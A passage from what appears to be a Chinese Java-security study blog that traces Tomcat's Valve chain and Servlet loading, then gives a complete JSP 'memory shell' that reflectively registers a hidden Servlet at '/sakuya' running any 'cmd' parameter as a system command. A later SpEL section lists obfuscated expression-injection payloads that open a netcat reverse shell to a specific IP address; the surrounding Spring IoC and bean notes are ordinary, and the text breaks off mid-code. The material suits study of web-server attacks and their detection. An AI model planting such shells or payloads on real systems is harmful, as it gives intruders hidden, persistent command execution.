<strong>Pipeline-value责任链</strong></p><p>每个组件里面都有一个Pipeline的链表 里面的元素就是value </p><p>通过不断调用value里面的invoke函数 来处理各自的逻辑</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\1-1775888025720-1.png" alt="1"></p><p>这里拿到的第一个value是StandardEngineValve</p><p>StandardEngine是原理中engine的具体实现类 其他组件也是类似的</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411141601844.png" alt="image-20260411141601844"></p><p>经过层层调用 最后来到StandardWrapperValve</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411142727709.png" alt="image-20260411142727709"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411142833426.png" alt="image-20260411142833426"></p><p>StandardWrapper 就是wrapper的实现类</p><p>最后调用了filterchain.dofilter</p><p>因为在初始化的时候 filter是最先被初始化的 从这里开始调用了filter 最后才到Servlet</p><p>request.getRequest()返回一个RequestFacade 这里就是封装过的ServletRequest</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411143419007.png" alt="image-20260411143419007"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411143238917.png" alt="image-20260411143238917"></p><p>到了这里 request都是使用RequestFacade <img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411143621993.png" alt="image-20260411143621993"></p><p>一顿调用 要开始Servlet的调用了</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411143920161.png" alt="image-20260411143920161"></p><p>又是一顿调用 回到了jsp文件中 实际上tomcat调用的应该是编译后的jsp文件 也就是一个class文件</p><p>这里的request就是之前一直被处理的requestfacade 一个被包装的request类</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411144002128.png" alt="image-20260411144002128"></p><p>到了这里就开始运行jsp了 </p><p>Servlet内存马的起点也是这里 我们只有一个requestfacade 对象 要如何去加载一个Servlet 并将Servlet与一个路由绑定上呢</p><p>最后来到jsp的Servlet的request实际上就是被层层封装的一个<strong>RequestFacade 对象</strong>  </p><hr><p><strong>现在开始调试一下Servlet的init过程</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411144424543.png" alt="image-20260411144424543"></p><p>loadonstartup&#x3D;1 可以让这个Servlet在tomcat启动的时候就被init</p><p>继续啃调用栈</p><p>从StandardContext.loadOnStartup()开始 加载wrapper 也就是开始加载Servlet </p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411145358262.png" alt="image-20260411145358262"></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411144916289.png" alt="image-20260411144916289"></p><p>Container children[]这个数组里面的元素是wrapper 也就是要被加载的Servlet</p><p>看看这个wrapper 都是哪里的</p><p>回看startInternal()</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411145328069.png" alt="image-20260411145328069"></p><p>来自父类的ContainerBase.findchildren()</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411145755147.png" alt="image-20260411145755147"></p><p>看看这里的children都是从哪传进去的</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411150017024.png" alt="image-20260411150017024"></p><p>从调用栈中可以知道 standardHost调用了addchild 从而调用了ContainerBase的addchild</p><p>也就是说wrapper是从standardHost里面传进来的</p><p>看看哪些类继承了ContainerBase</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411150531429.png" alt="image-20260411150531429"></p><p>所有组件的实现类都继承了ContainerBase</p><p>在StandardContext里面也看到了addChild()</p><p>还会调用父类的addChild 也就是 StandardContext也可以添加wrapper</p><p>实际上StandardHost的addChild 是启动wrapper 并不是字面意义上的添加wrapper </p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260411154637748.png" alt="image-20260411154637748"></p><p>内存马中添加的Servlet不是jsp的话 也就不会调用 addServletMappingDecoded 实际就是将某个路由映射到Servlet上 执行逻辑</p><p>所以我们得自己调用addServletMappingDecoded 去添加路由映射到恶意Servlet上</p><hr><p>至此 大概的原理差不多了</p><p>我们要做的就是:</p><p><strong>构造恶意Servlet</strong></p><p><strong>将Servlet包装成wrapper</strong></p><p><strong>把wrapper塞到StandardContext的ServletMapping中</strong> </p><p><strong>最后添加路由映射到wrapper</strong></p><hr><p><strong>最后通过反射调用 从request也就是RequestFaces 获取到ServletContext 在获取其中的成员context 也就是ApplicationContext 通过ApplicationContext找到StandardContext</strong></p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ page <span class="keyword">import</span>=<span class="string">&quot;org.apache.catalina.core.ApplicationContext&quot;</span> %&gt;</span><br><span class="line">&lt;%@ page <span class="keyword">import</span>=<span class="string">&quot;java.lang.reflect.Field&quot;</span> %&gt;</span><br><span class="line">&lt;%@ page <span class="keyword">import</span>=<span class="string">&quot;org.apache.catalina.core.StandardContext&quot;</span> %&gt;</span><br><span class="line">&lt;%@ page <span class="keyword">import</span>=<span class="string">&quot;org.apache.catalina.core.StandardWrapper&quot;</span> %&gt;</span><br><span class="line">&lt;%@ page <span class="keyword">import</span>=<span class="string">&quot;java.io.*&quot;</span> %&gt;</span><br><span class="line">&lt;%@ page language=<span class="string">&quot;java&quot;</span> contentType=<span class="string">&quot;text/html; charset=UTF-8&quot;</span> pageEncoding=<span class="string">&quot;UTF-8&quot;</span>%&gt;</span><br><span class="line">&lt;%</span><br><span class="line">    <span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext();</span><br><span class="line"></span><br><span class="line">    <span class="type">Field</span> <span class="variable">appctx</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">&quot;context&quot;</span>);</span><br><span class="line">    appctx.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext)appctx.get(servletContext);</span><br><span class="line"></span><br><span class="line">    <span class="type">Field</span> <span class="variable">stcxt</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">&quot;context&quot;</span>);</span><br><span class="line">    stcxt.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext)stcxt.get(applicationContext);</span><br><span class="line"></span><br><span class="line">    javax.servlet.<span class="type">Servlet</span> <span class="variable">memoryshell</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">javax</span>.servlet.Servlet()&#123;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig config)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> ServletConfig <span class="title function_">getServletConfig</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest req, ServletResponse res)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">            <span class="keyword">if</span>(req.getParameter(<span class="string">&quot;cmd&quot;</span>) != <span class="literal">null</span>)&#123;</span><br><span class="line">                <span class="type">InputStream</span> <span class="variable">ois</span> <span class="operator">=</span> Runtime.getRuntime().exec(req.getParameter(<span class="string">&quot;cmd&quot;</span>)).getInputStream();</span><br><span class="line">                <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">                ois.read(bytes);</span><br><span class="line">                <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">                baos.write(bytes);</span><br><span class="line">                res.setContentType(<span class="string">&quot;text/html&quot;</span>);</span><br><span class="line">                res.getWriter().write(baos.toString());</span><br><span class="line"><span class="comment">//                System.out.println(baos.toString());</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> String <span class="title function_">getServletInfo</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">StandardWrapper</span>  <span class="variable">wrapperevil</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StandardWrapper</span>();</span><br><span class="line">        <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;123&quot;</span>;</span><br><span class="line">        <span class="comment">//必要的封装</span></span><br><span class="line">        wrapperevil.setName(name);<span class="comment">//Servlet的名字随便都可以</span></span><br><span class="line">        wrapperevil.setServlet(memoryshell);<span class="comment">//把写好的恶意Servlet搞到wrapper里面</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        standardContext.addChild(wrapperevil);<span class="comment">//使用获取到的standardContext的addChild方法 把恶意Servlet搞到children里面</span></span><br><span class="line">        standardContext.addServletMappingDecoded(<span class="string">&quot;/sakuya&quot;</span>,name);<span class="comment">//将路由与恶意Servlet进行映射</span></span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure><p>这里的Servlet内存马 本质就是在StandardContext里面添加一个恶意的Servlet addchild()</p><p>然后再ServletMapping中添加路由与Servlet的映射关系</p><h2 id="jsp"><a href="#jsp" class="headerlink" title="jsp"></a>jsp</h2><p>javaserver page</p><p>替代servlet处理业务逻辑的产品 </p><p>可以执行java代码</p><h3 id="jsp三大属性"><a href="#jsp三大属性" class="headerlink" title="jsp三大属性"></a>jsp三大属性</h3><p>&lt;%@page … %&gt; 网页依赖属性</p><p>&lt;%@include … %&gt; 包含其他文件</p><p>&lt;%@ taglib prefix&#x3D;”c” uri&#x3D;”<a href="http://java.sun.com/jsp/jstl/core">http://java.sun.com/jsp/jstl/core</a>“ %&gt; 引入标签库的定义</p><h2 id="Spring"><a href="#Spring" class="headerlink" title="Spring"></a>Spring</h2><h3 id="IoC"><a href="#IoC" class="headerlink" title="IoC"></a>IoC</h3><p>Inversion of Control 控制反转 把复杂系统分解成相互合作的对象，这些对象类通过封装以后，内部实现对外部是透明的，从而降低了解决问题的复杂度，而且可以灵活地被重用和扩展。</p><p>IoC容器管理各个实现类</p><p><strong>一个由Spring IoC容器实例化、组装和管理的对象，我们称其为Bean</strong></p><h3 id="注册与配置Bean"><a href="#注册与配置Bean" class="headerlink" title="注册与配置Bean"></a>注册与配置Bean</h3><p>在resource中创建一个.xml文件</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.springframework.org/schema/beans</span></span></span><br><span class="line"><span class="string"><span class="tag">        https://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span> <span class="attr">scope</span>=<span class="string">&quot;prototype&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span> <span class="attr">scope</span>=<span class="string">&quot;prototype&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span> student被IoC容器创建的时候是单例模式</span><br><span class="line"><span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span> <span class="attr">scope</span>=<span class="string">&quot;singleton&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span> student被IoC容器创建的时候是多例模式</span><br></pre></td></tr></table></figure><p>加载bean</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationContext;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">//获取一个IoC容器</span></span><br><span class="line">        <span class="type">ApplicationContext</span> <span class="variable">ctx</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassPathXmlApplicationContext</span>(<span class="string">&quot;application.xml&quot;</span>);</span><br><span class="line">        <span class="comment">//通过IoC容器反射调用获取一个对象</span></span><br><span class="line">        <span class="type">student</span> <span class="variable">a</span> <span class="operator">=</span> (student) ctx.getBean(<span class="string">&quot;student&quot;</span>);</span><br><span class="line">        <span class="comment">//student a = (student) ctx.getBean(student.class);</span></span><br><span class="line">        a.hello();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="依赖注入"><a href="#依赖注入" class="headerlink" title="依赖注入"></a>依赖注入</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.springframework.org/schema/beans</span></span></span><br><span class="line"><span class="string"><span class="tag">        https://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;teacher&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.artteacher&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">constructor-arg</span>  <span class="attr">name</span>=<span class="string">&quot;teacher&quot;</span> <span class="attr">ref</span>=<span class="string">&quot;artteacher&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span> //构造注入 ref=对象</span><br><span class="line">        <span class="tag">&lt;<span class="name">constructor-arg</span> <span class="attr">name</span>=<span class="string">&quot;username&quot;</span> <span class="attr">value</span>=<span class="string">&quot;小明&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span>  value=值</span><br><span class="line">        <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">&quot;teacher&quot;</span> <span class="attr">ref</span>=<span class="string">&quot;artteacher&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">property</span>&gt;</span>  //set注入</span><br><span class="line">    <span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="自动装配"><a href="#自动装配" class="headerlink" title="自动装配"></a>自动装配</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.springframework.org/schema/beans</span></span></span><br><span class="line"><span class="string"><span class="tag">        https://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;teacher&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.artteacher&quot;</span> <span class="attr">autowire-candidate</span>=<span class="string">&quot;false&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span> //不作为依赖被注入</span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;teacher1&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.sportteacher&quot;</span> <span class="attr">primary</span>=<span class="string">&quot;true&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span>  //优先被注入</span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span> <span class="attr">autowire</span>=<span class="string">&quot;Bytype/Byname&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span>  //set自动注入</span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;student&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.student&quot;</span> <span class="attr">autowire</span>=<span class="string">&quot;constructor&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span>  //构造自动注入</span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="Bean的生命周期"><a href="#Bean的生命周期" class="headerlink" title="Bean的生命周期"></a>Bean的生命周期</h3><p>和Servlet一样 Bean也有自己的生命周期</p><p>init与destory</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">bean</span> <span class="attr">name</span>=<span class="string">&quot;teacher1&quot;</span> <span class="attr">class</span>=<span class="string">&quot;com.demo.sportteacher&quot;</span> <span class="attr">primary</span>=<span class="string">&quot;true&quot;</span> <span class="attr">init-method</span>=<span class="string">&quot;init&quot;</span> <span class="attr">destory-method</span>=<span class="string">&quot;destory&quot;</span>/&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//当容器创建时，默认情况下Bean都是单例的，那么都会在一开始就加载好，对象构造完成后，会执行init-method</span></span><br><span class="line"><span class="type">ClassPathXmlApplicationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassPathXmlApplicationContext</span>(<span class="string">&quot;test.xml&quot;</span>);</span><br><span class="line"><span class="comment">//我们可以调用close方法关闭容器，此时容器内存放的Bean也会被一起销毁，会执行destroy-method</span></span><br><span class="line">context.close();</span><br></pre></td></tr></table></figure><p>Bean为单例模式时 IoC容器可以顾及所有的生命周期 随容器的创建与销毁时被调用</p><p>如果是多例模式时 IoC容器无法顾及其所有生命周期 当对象被调用的时候才会执行init 容器销毁的时候不会调用destory</p><h3 id="注解"><a href="#注解" class="headerlink" title="注解"></a>注解</h3><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260416105050168.png" alt="image-20260416105050168"></p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260416105058727.png" alt="image-20260416105058727"></p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260416105108525.png" alt="image-20260416105108525"></p><h2 id="SpEL表达式"><a href="#SpEL表达式" class="headerlink" title="SpEL表达式"></a>SpEL表达式</h2><h3 id="外部属性注入"><a href="#外部属性注入" class="headerlink" title="外部属性注入"></a>外部属性注入</h3><p>${ spring.user.name }</p><p>#{表达式} </p><p>T(全限定类名).方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@ComponentScan(&quot;com.test.bean&quot;)</span></span><br><span class="line"><span class="meta">@PropertySource(&quot;classpath:test.properties&quot;)</span>   <span class="comment">//注意，类路径下的文件名称需要在前面加上classpath:</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainConfiguration</span>&#123;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Studnet</span> &#123;</span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;test.name&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//T(全限定类名).方法</span></span><br><span class="line"><span class="string">&#x27;&#x27;</span>.getClass().forName(<span class="string">&#x27;java.lang.Run&#x27;</span>+<span class="string">&#x27;time&#x27;</span>).getMethod(<span class="string">&#x27;exec&#x27;</span>,<span class="string">&#x27;&#x27;</span>.getClass()).invoke(<span class="string">&#x27;&#x27;</span>.getClass().forName(<span class="string">&#x27;java.lang.Run&#x27;</span>+<span class="string">&#x27;time&#x27;</span>).getMethod(<span class="string">&#x27;getRu&#x27;</span>+<span class="string">&#x27;ntime&#x27;</span>).invoke(<span class="literal">null</span>),<span class="string">&#x27;nc 47.115.148.182 2112 -e /bin/sh&#x27;</span>)</span><br><span class="line"></span><br><span class="line">String.getClass().forName(<span class="string">&#x27;java.lang.Ru&#x27;</span>+<span class="string">&#x27;ntime&#x27;</span>).getMethod(<span class="string">&#x27;exec&#x27;</span>,String.getClass()).invoke(String.getClass().forName(<span class="string">&#x27;java.lang.Ru&#x27;</span>+<span class="string">&#x27;ntime&#x27;</span>).getMethod(<span class="string">&#x27;get&#x27;</span>+<span class="string">&#x27;Runtime&#x27;</span>).invoke(<span class="literal">null</span>),<span class="string">&#x27;nc 47.115.148.182 2112 -e /bin/sh&#x27;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="type">SpelExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">Expression</span> <span class="variable">expression</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;T(Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;</span>);</span><br><span class="line">expression.getValue();</span><br><span class="line"></span><br><span class="line">().getClass().forName(<span class="string">&#x27;java.lang.Ru&#x27;</span>+<span class="string">&#x27;ntime&#x27;</span>).getMethod(<span class="string">&#x27;exec&#x27;</span>,().getClass()).invoke(().getClass().forName(<span class="string">&#x27;java.lang.Ru&#x27;</span>+<span class="string">&#x27;ntime&#x27;</span>).getMethod(<span class="string">&#x27;get&#x27;</span>+<span class="string">&#x27;Runtime&#x27;</span>).invoke(<span class="literal">null</span>),<span class="string">&#x27;nc 47.115.148.182 2112 -e /bin/sh&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="AOP"><a href="#AOP" class="headerlink" title="AOP"></a>AOP</h3><p>AOP（Aspect Oriented Programming）面向切面编程 思想实际上就是：在运行时，动态地将代码切入到类的指定方法、指定位置上。也就是说，我们可以使用AOP来帮助我们在方法执行前或执行之后，做一些额外的操作，实际上，它就是代理</p><ol><li>哪些类需要切入 类的哪些方法需要被切入</li><li>切入后要执行什么操作</li><li>是在方法执行前切入还是在方法执行后切入</li><li>如何告诉spring需要进行切入</li></ol><p>环绕方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span><br><span class="line">&lt;beans xmlns=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span><br><span class="line">       xmlns:xsi=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span><br><span class="line">       xmlns:aop=<span class="string">&quot;http://www.springframework.org/schema/aop&quot;</span></span><br><span 